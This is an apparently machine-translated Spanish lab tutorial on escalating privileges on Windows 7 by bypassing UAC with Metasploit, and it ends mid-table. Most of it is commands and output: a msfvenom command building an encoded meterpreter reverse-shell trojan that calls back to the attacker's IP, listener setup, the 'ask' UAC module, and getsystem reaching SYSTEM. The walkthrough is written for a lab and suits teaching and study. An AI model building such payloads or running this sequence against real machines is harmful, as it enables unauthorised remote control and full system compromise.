Preparación preliminar
Máquina de destino | Aviones de ataque |
---|---|
win7 | hora |
192.168.43.254 | 192.168.43.113 |
Aquí, solo demuestro el proceso de ataque. Si tiene algún comando que no comprenda, puede consultar mis otros artículos. Hay notas específicas para que yo haga los comandos o vaya a Baidu por su cuenta.
Introducción a UAC
UAC (User Account Control) es una nueva tecnología introducida por Microsoft en Windows Vista para mejorar la seguridad del sistema. Requiere que los usuarios realicen operaciones que puedan afectar el funcionamiento de la computadora o que realicen operaciones que cambien configuraciones que afecten a otros usuarios. Proporcionar permisos o administrador contraseña.
En otras palabras, una vez que el usuario permite que la aplicación iniciada pase la verificación UAC, el programa también tiene derechos de administrador. Si secuestramos el programa que pasó la verificación de UAC del usuario de alguna manera, entonces nuestro programa también logrará el proceso de escalada.
Pre-demo
Como es una demostración, aquí generamos directamente un caballo de Troya por msf para obtener un shell
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.43.113 LPORT=6666 -b "\x00" -e x86/shikata_ga_nai -f exe > uac.exe
Configurar monitor
use exploit/multi/handler
Establecer la carga útil
set payload windows/meterpreter/reverse_tcp
Establecer puerto y IP de escucha
set lhost 192.168.43.113
set lport 6666
Luego ejecute, abra la máquina win7, haga clic en uac.exe para abrir kali y tenga el shell
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.43.113:6666
[*] Sending stage (179779 bytes) to 192.168.43.254
[*] Meterpreter session 1 opened (192.168.43.113:6666 -> 192.168.43.254:50063) at 2020-10-05 22:02:08 +0800
meterpreter >
Puedes ver que es un administrador
meterpreter > getuid
Server username: LS--20200725FKO\Administrator
Luego no pudimos promover getsystem y ponerlo en segundo plano
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > se
search services sessions set setg
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x86/windows LS--20200725FKO\Administrator @ LS--20200725FKO 192.168.43.113:6666 -> 192.168.43.254:50080 (192.168.43.254)
Escalada de UAC
Después de ponerlo en segundo plano, use el siguiente módulo
use exploit/windows/local/ask
Verifique la información del módulo y luego configure lo que queremos configurar
msf5 exploit(windows/local/ask) > info
Name: Windows Escalate UAC Execute RunAs
Module: exploit/windows/local/ask
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-01-03
Provided by:
mubix <mubix@hak5.org>
b00stfr3ak
Available targets:
Id Name
-- ----
0 Windows
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE)
Payload information:
Description:
This module will attempt to elevate execution level using the
ShellExecute undocumented RunAs flag to bypass low UAC settings.
A través de lo anterior, sabemos que necesitamos configurar la sesión.
msf5 exploit(windows/local/ask) > set session 2
session => 2
Los otros dos no son necesarios, se pueden configurar o no, y luego ejecutar
msf5 exploit(windows/local/ask) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
5 meterpreter x86/windows LS--20200725FKO\Administrator @ LS--20200725FKO 192.168.43.113:6666 -> 192.168.43.254:49187 (192.168.43.254)
6 meterpreter x86/windows LS--20200725FKO\Administrator @ LS--20200725FKO 192.168.43.113:6666 -> 192.168.43.254:49187 (192.168.43.254)
Puede ver que hay dos sesiones pero ambas tienen derechos de administrador
msf5 exploit(windows/local/ask) > sessions -i 6
[*] Starting interaction with 6...
meterpreter >
Entramos 6
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Obtener permisos del sistema
Nombre del módulo | Mi entendimiento |
---|---|
explotar / windows / local / ask | Necesito hacer clic |
exploit / windows / local / bypassuac | No es necesario hacer clic |
Exploit / windows / local / ms14_058_track_popup_menu |